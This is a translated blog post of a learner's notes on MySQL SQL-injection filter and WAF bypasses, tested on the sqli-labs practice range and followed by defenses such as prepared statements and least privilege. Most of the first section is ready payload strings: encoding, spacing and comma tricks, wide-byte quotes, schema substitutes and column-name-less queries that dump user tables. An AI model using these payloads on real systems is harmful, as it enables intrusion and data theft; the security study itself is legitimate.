SQL injection advanced practice (2) Common bypass methods and defense solutions

To be honest, SQL injection is really a big part of my headache, probably for personal reasons. I don't like to stare at all kinds of query statements and spell them out. However, after the first two weeks of study. I also slowly got used to these complicated sentences. Especially when I saw the bypass technique today, I deeply felt the miraculous posture of the seniors in WEB security. Really offensive and defensive. You can see a complete chain of confrontation accumulated by many security researchers or hackers who are increasingly confronting each other.

This paper mainly includes two sections. Common bypasses and defense solutions.

1. Commonly used SQL injection bypass methods

1.1 Comment bypass

Someone restricted our common annotations:

1) -- Note content
2) # Note content
3) /* Note content */

Bypass method: Construct single quotation marks to close

#绕过前
?id=' union select 1,2,3 --+
#绕过后
?id=' union select 1,2,3 and '1'='1

1.2 Case bypass

It is often used when waf's regex is not case-sensitive.

uniOn selEct 1,2

1.3 Inline comment bypass

Inline comments are to put some special statements only in MYSQL /*!...*/, so that these statements will not be executed in other databases, but will be executed in MYSQL. Not /*... */to be confused with annotations.

Regex for bypassing some boundary detection:

?id=' union /*!select*/ 1,2,3 --+

insert image description here

1.4 Double-write keyword bypass

In some simple waf, only use the replace () function to replace the keywords such as select to empty. At this time, you can use the double-write keyword to bypass.

union seselectlect 1,2

1.5 Special encoding bypass

#1.十六进制绕过
eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

#2.ascii 编码绕过
eg:Test =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)#3.Unicode 编码

常用的几个符号的一些 Unicode 编码:

单引号: % u0027、% u02b9、% u02bc、% u02c8、% u2032、% uff07、% c0%27、% c0% a7、% e0%80% a7

空格:% u0020、% uff00、% c0%20、% c0% a0、% e0%80% a0

左括号:% u0028、% uff08、% c0%28、% c0% a8、% e0%80% a8

右括号:% u0029、% uff09、% c0%29、% c0% a9、% e0%80% a9

1.6 Space filter bypass

Alternatives to spaces:

1) /**/
2) ()
3) carriage return (%0a in url encoding)
4) `(the button above the tap key)
5) tap
6) two spaces

test:

#1./**/
http://127.0.0.1/sqllabs/Less-1/
?id=-1' union/**/select 1,2,3 --+

#2.() ---  注意括号中不能含有 *
http://127.0.0.1/sqllabs/Less-1/
?id=-1' union(select 1,2,3) --+

#3.%0a
http://127.0.0.1/sqllabs/Less-1/
?id=-1' union%0aselect 1,2,3 --+

#4.` --- 失败,无法使用,原因不明
http://127.0.0.1/sqllabs/Less-1/
?id=-1' union`select 1,2,3` --+

#5.双空格
http://127.0.0.1/sqllabs/Less-1/
?id=-1' union  select 1,2,3 --+

#6.tab --- 无法输入、暂时未解决

1.7 filter or and xor (exclusive or) not bypass

and = &&

or = ||

xor = |

not = !

1.8 Filter equal sign =bypass

like1. The effect of execution without wildcards =is consistent with that of , so it can be used to bypass.

UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name like "users"

2. Fuzzy matching, as long as there is the part to be searched in the value of the field, it will be selected. When it is used to replace =, the rlikeusage is the same as above , and the effect is the same likeas if there is no wildcard=

UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name rlike "users"

3.regexp: MySQL uses the REGEXP operator for regular expression matching

UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name regexp "users"

4. Use the less than sign to bypass (not universal)

select * from users where id > 1 and id < 3

5. <> is equivalent to !=, so add one in front! The result is an equal sign

mysql> select * from users where !(id <> 1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

1.9 Bypass the filter size greater than sign

In sql blind injection, the greater than sign is generally used to judge the size of the ascii code value to achieve the effect of blasting. Of course, there will also be situations where the size is limited.

1)greatest (n1, n2, n3…): 返回 n 中的最大值

eg:select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116

2)least (n1,n2,n3…): 返回 n 中的最小值,与上同理。

3)strcmp (str1,str2): 若所有的字符串均相同,则返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

eg:select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117)

4)in 关键字

eg:select * from users where id = 1 and substr(username,1,1) in ('t')

5)between a and b: 范围在 a-b 之间,包括 a、b。

eg:select * from users where id between 1 and 2

select * from users where id between 1 and 1

1.10 filter quotes bypass

1)使用十六进制

eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

2)宽字节,常用在 web 应用使用的字符集为 GBK 时,并且过滤了引号,就可以试试宽字节。%27 表示 '(单引号),单引号会被转义成 \'

eg:%E6' union select 1,2 #

%df%27 union select 1,2,3  #

1.11 filter comma bypass

1) If waf filters out commas and can only make blind injections, one of the substring functions can replace commas by using from pos for len, where pos means reading substrings of length len starting from pos string

eg:常规写法 select substr ("string",1,3)

#若过滤了逗号,可以使用 from pos for len 
#来取代 select substr ("string" from 1 for 3)
#sql 盲注中可以进行如下替换
 select ascii (substr (database () from 1 for 1)) > 110

2) You can also use the join keyword to bypass

eg:select * from users union select * from (select 1)a join (select 2)b join(select 3)c

The above formula is equivalent to union select 1,2,3

3) Use the like keyword, which is suitable for commas in functions such as substr () to extract substrings

eg:select user() like "t%"

上式等价于 select ascii (substr (user (),1,1))=114

5) Use the offset keyword, which is suitable for the case where commas in limit are filtered, limit 2,1 is equivalent to limit 1 offset 2

eg:select * from users limit 1 offset 2

上式等价于 select * from users limit 2,1

1.12 Filter function bypass

#1.睡眠函数
sleep() --> benchmark()

ENCHMARK(count,expr)
BENCHMARK会重复计算expr表达式count次,通过这种方式就可以评估出mysql执行这个expr表达式的效率。这个函数的返回值始终是0,但可以根据客户端提示的执行时间来得到BENCHMARK总共执行的所消耗的时间

#2.ascll转码
ascii ()>hex ()、bin (),替代之后再使用对应的进制转 string 即可

#3.字符串连接函数
group_concat ()>  concat_ws (),第一个参数为分隔符 

eg:mysql> select concat_ws(",","str1","str2")

#4.字符串截取
substr (),substring (),mid () 可以相互取代, 取子串的函数还有 left (),right ()

#5.user() --> @@user、datadir–>@@datadir

#6.ord ()–>ascii (): 这两个函数在处理英文时效果一样,但是处理中文等时不一致。

1.13 Regular bypass

Here is a detailed explanation in the previous regular expression part: original link

Its main content is to complete the injection through some mistakes in regular writing. The bypass of boundary matching and the breakthrough of backtracking limit are both classic regular bypass methods.

1.14 information_schema filtering and column name injection

information_schemaAs the system library of mysql, the library is "used badly" when we output data. Of course, the defender also thinks the same way, can it be injected, and the access permission or character input of this library is banned for you. I let you get into the database but not steal anything. disgusting enough

In fact, such disabling methods are also very inferior. Regardless of security, we can continue to use the syslibrary to complete the injection.

1.14.1 A library that can replace information_schema

Mysql 5.7Added in the version , sys.schema the basic data comes from the two libraries, performance_schemaand information_scheit does not store data itself.

Let's take a look at the available tables in the library now:

#经过我们的一番搜索,找到下面几张表看似可以获取表名和库名的对应关系
#1.sys库内的一些表

mysql> desc  x$schema_table_statistics;
+-------------------+---------------------+------+-----+---------+-------+
| Field             | Type                | Null | Key | Default | Extra |
+-------------------+---------------------+------+-----+---------+-------+
| table_schema      | varchar(64)         | YES  |     | NULL    |       |
| table_name        | varchar(64)         | YES  |     | NULL    |       |
| total_latency     | bigint(20) unsigned | NO   |     | NULL    |       |
| rows_fetched      | bigint(20) unsigned | NO   |     | NULL    |       |
| fetch_latency     | bigint(20) unsigned | NO   |     | NULL    |       |
| rows_inserted     | bigint(20) unsigned | NO   |     | NULL    |       |
| insert_latency    | bigint(20) unsigned | NO   |     | NULL    |       |
| rows_updated      | bigint(20) unsigned | NO   |     | NULL    |       |
| update_latency    | bigint(20) unsigned | NO   |     | NULL    |       |
| rows_deleted      | bigint(20) unsigned | NO   |     | NULL    |       |
| delete_latency    | bigint(20) unsigned | NO   |     | NULL    |       |
| io_read_requests  | decimal(42,0)       | YES  |     | NULL    |       |
| io_read           | decimal(41,0)       | YES  |     | NULL    |       |
| io_read_latency   | decimal(42,0)       | YES  |     | NULL    |       |
| io_write_requests | decimal(42,0)       | YES  |     | NULL    |       |
| io_write          | decimal(41,0)       | YES  |     | NULL    |       |
| io_write_latency  | decimal(42,0)       | YES  |     | NULL    |       |
| io_misc_requests  | decimal(42,0)       | YES  |     | NULL    |       |
| io_misc_latency   | decimal(42,0)       | YES  |     | NULL    |       |
+-------------------+---------------------+------+-----+---------+-------+
19 rows in set (0.01 sec)

mysql> desc  x$schema_table_statistics_with_buffer;
+----------------------------+---------------------+------+-----+---------+-------+
| Field                      | Type                | Null | Key | Default | Extra |
+----------------------------+---------------------+------+-----+---------+-------+
| table_schema               | varchar(64)         | YES  |     | NULL    |       |
| table_name                 | varchar(64)         | YES  |     | NULL    |       |
| rows_fetched               | bigint(20) unsigned | NO   |     | NULL    |       |
| fetch_latency              | bigint(20) unsigned | NO   |     | NULL    |       |
| rows_inserted              | bigint(20) unsigned | NO   |     | NULL    |       |
| insert_latency             | bigint(20) unsigned | NO   |     | NULL    |       |
| rows_updated               | bigint(20) unsigned | NO   |     | NULL    |       |
| update_latency             | bigint(20) unsigned | NO   |     | NULL    |       |
| rows_deleted               | bigint(20) unsigned | NO   |     | NULL    |       |
| delete_latency             | bigint(20) unsigned | NO   |     | NULL    |       |
| io_read_requests           | decimal(42,0)       | YES  |     | NULL    |       |
| io_read                    | decimal(41,0)       | YES  |     | NULL    |       |
| io_read_latency            | decimal(42,0)       | YES  |     | NULL    |       |
| io_write_requests          | decimal(42,0)       | YES  |     | NULL    |       |
| io_write                   | decimal(41,0)       | YES  |     | NULL    |       |
| io_write_latency           | decimal(42,0)       | YES  |     | NULL    |       |
| io_misc_requests           | decimal(42,0)       | YES  |     | NULL    |       |
| io_misc_latency            | decimal(42,0)       | YES  |     | NULL    |       |
| innodb_buffer_allocated    | decimal(43,0)       | YES  |     | NULL    |       |
| innodb_buffer_data         | decimal(43,0)       | YES  |     | NULL    |       |
| innodb_buffer_free         | decimal(44,0)       | YES  |     | NULL    |       |
| innodb_buffer_pages        | bigint(21)          | YES  |     | 0       |       |
| innodb_buffer_pages_hashed | bigint(21)          | YES  |     | 0       |       |
| innodb_buffer_pages_old    | bigint(21)          | YES  |     | 0       |       |
| innodb_buffer_rows_cached  | decimal(44,0)       | YES  |     | 0       |       |
+----------------------------+---------------------+------+-----+---------+-------+
25 rows in set (0.01 sec)

#2.查阅资料发现mysql库里也有东西
mysql> desc  innodb_index_stats;
+------------------+---------------------+------+-----+-------------------+-----------------------------+
| Field            | Type                | Null | Key | Default           | Extra                       |
+------------------+---------------------+------+-----+-------------------+-----------------------------+
| database_name    | varchar(64)         | NO   | PRI | NULL              |                             |
| table_name       | varchar(199)        | NO   | PRI | NULL              |                             |
| index_name       | varchar(64)         | NO   | PRI | NULL              |                             |
| last_update      | timestamp           | NO   |     | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP |
| stat_name        | varchar(64)         | NO   | PRI | NULL              |                             |
| stat_value       | bigint(20) unsigned | NO   |     | NULL              |                             |
| sample_size      | bigint(20) unsigned | YES  |     | NULL              |                             |
| stat_description | varchar(1024)       | NO   |     | NULL              |                             |
+------------------+---------------------+------+-----+-------------------+-----------------------------+
8 rows in set (0.00 sec)

mysql> desc innodb_table_stats;
+--------------------------+---------------------+------+-----+-------------------+-----------------------------+
| Field                    | Type                | Null | Key | Default           | Extra                       |
+--------------------------+---------------------+------+-----+-------------------+-----------------------------+
| database_name            | varchar(64)         | NO   | PRI | NULL              |                             |
| table_name               | varchar(199)        | NO   | PRI | NULL              |                             |
| last_update              | timestamp           | NO   |     | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP |
| n_rows                   | bigint(20) unsigned | NO   |     | NULL              |                             |
| clustered_index_size     | bigint(20) unsigned | NO   |     | NULL              |                             |
| sum_of_other_index_sizes | bigint(20) unsigned | NO   |     | NULL              |                             |
+--------------------------+---------------------+------+-----+-------------------+-----------------------------+
6 rows in set (0.00 sec)

We can find the tables of tablename and schema at the same time as the following tables:

sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer
mysql.innodb_table_stats
mysql.innodb_table_index

Explosive table name statement:

#1.利用 sys.schema_auto_increment_columns
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+

#2.利用 sys.schema_table_statistics_with_buffer
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+

insert image description here

But there is a fatal problem. Now there is only the correspondence between the library name and the column name, and we cannot obtain the correspondence between the table and the column name. We need to implement the operation of injecting data without column names in order to continue this bypass method.

1.14.2 Nameless Injection

1. Option 1 join-using query column name - out of thin air

Let's look at the operation first:

#获取第一列信息 --- 
?id=-1' union select * from (select * from users as a join users as b) as c --+

#获取第二列信息 --- username
?id=-1' union select * from (select * from users as a join users as b using(id)) as c --+

#获取第三列信息 --- password
?id=-1' union select * from (select * from users as a join users as b using(id,username)) as c --+

insert image description here

Go ahead and get:

insert image description here

Finally get:

insert image description here

Principle analysis:

When querying data from the result table returned by the secondary connection link query, once duplicate columns appear, an error will be reported mysql, prompting us where the duplicate columns are. This utilization scheme takes advantage of this, using the connection query to obtain a duplicate column name table, and querying it will cause an error.

In the auxiliary using function, the known duplicate columns in the connection query are combined to achieve blasting of all column names in the table. Finally get all column name information. Follow-up injections are performed.

2. Scenario 2 Export the whole column of data - forcibly obtain

#使用联合查询查询出users内部的数据
select `3` from (select 1,2,3,4,5 union select * from users)as a;

#当反引号被禁用时,就可以使用起别名的方法来代替
select b from (select 1,2, 3 as b ,4,5 union select * from users)as a;

#在注入时同时查询多个列
select group_concat(b,c) from (select 1,2, 3 as b , 4 as c ,5 union select * from users)as a;

Note: At present, this scheme is only successful in the experiment in the database. In the actual attack environment (sqllabs and other shooting ranges), due to various reasons, I have not successfully output the data. Please let me know if anyone has come out.

2. Defense against SQL injection

2.1 Prepared statements

Generally speaking, the best way to defend against SQL injection is to use prepared statements and bind variables.

Using precompiled SQL statements, the semantics of SQL statements will not change. In SQL statements, variables are used to indicate that an attacker cannot change the structure of SQL. Therefore, SQL injection cannot be caused.

<?php

$pdo = new PDO("mysql:host=127.0.0.1;dbname=test;charset=utf8", "root","root123");

$st = $pdo->prepare("select * from users where id =?");

$id = $_GET['id'];
$st->bindParam(1, $id);
$st->execute();
$ret = $st->fetchAll();
print_r($ret);

2.2 Using stored procedures

In addition to using prepared statements, we can also use safe stored procedures to fight against SQL injection. The effect of using stored procedures is similar to that of precompiled statements. The difference is that stored procedures need to define SQL statements in the database first. However, it should be noted that stored procedures may also have injection problems, so you should try to avoid using dynamic SQL statements in stored procedures. If it is unavoidable, strict input filtering or encoding functions should be used to process user input data.

2.3 Check data type

Checking the type of input data can largely limit SQL injection. For example, for the query of book_id, we can restrict it to a number, and do not allow other types of data types to be inserted. Or strictly filter the user's input information, such as strict restrictions on formats such as date and year. Both can defend against some malicious injections.

Of course, if the user must submit a character, then we need to use a security function, or some waf to implement the defense against sql injection

2.4 Security function and waf

The purpose of security functions and waf is to strictly filter user input, and usually filter out some sensitive characters that are used in sql injection but never appear in business.

The security function is implemented by the programming language itself or the third-party security library we imported. When using it, we should pay attention to reading the official documentation. Prevent some injection problems caused by improper use. The most typical one is the secondary injection problem caused by lax filtering.

addslashes()
mysql_real_escape_string()

wafThe use of it depends on the current economic situation of the enterprise. If conditions permit, you can actually use some hardware wafto improve the overall security level of the website. Of course, some third-party libraries can also be used for defense during development.

2.5 Security by Design

From the perspective of the database itself, the principle of least privilege should be used to prevent web applications from directly using high-privilege accounts such as root and dbowner to directly connect to the database. If there are multiple different applications using the same database, each application should also be assigned a different account. The database account used by the web application should not have permission to customize functions or operate local files.

Guess you like

Origin blog.csdn.net/qq_55316925/article/details/129459387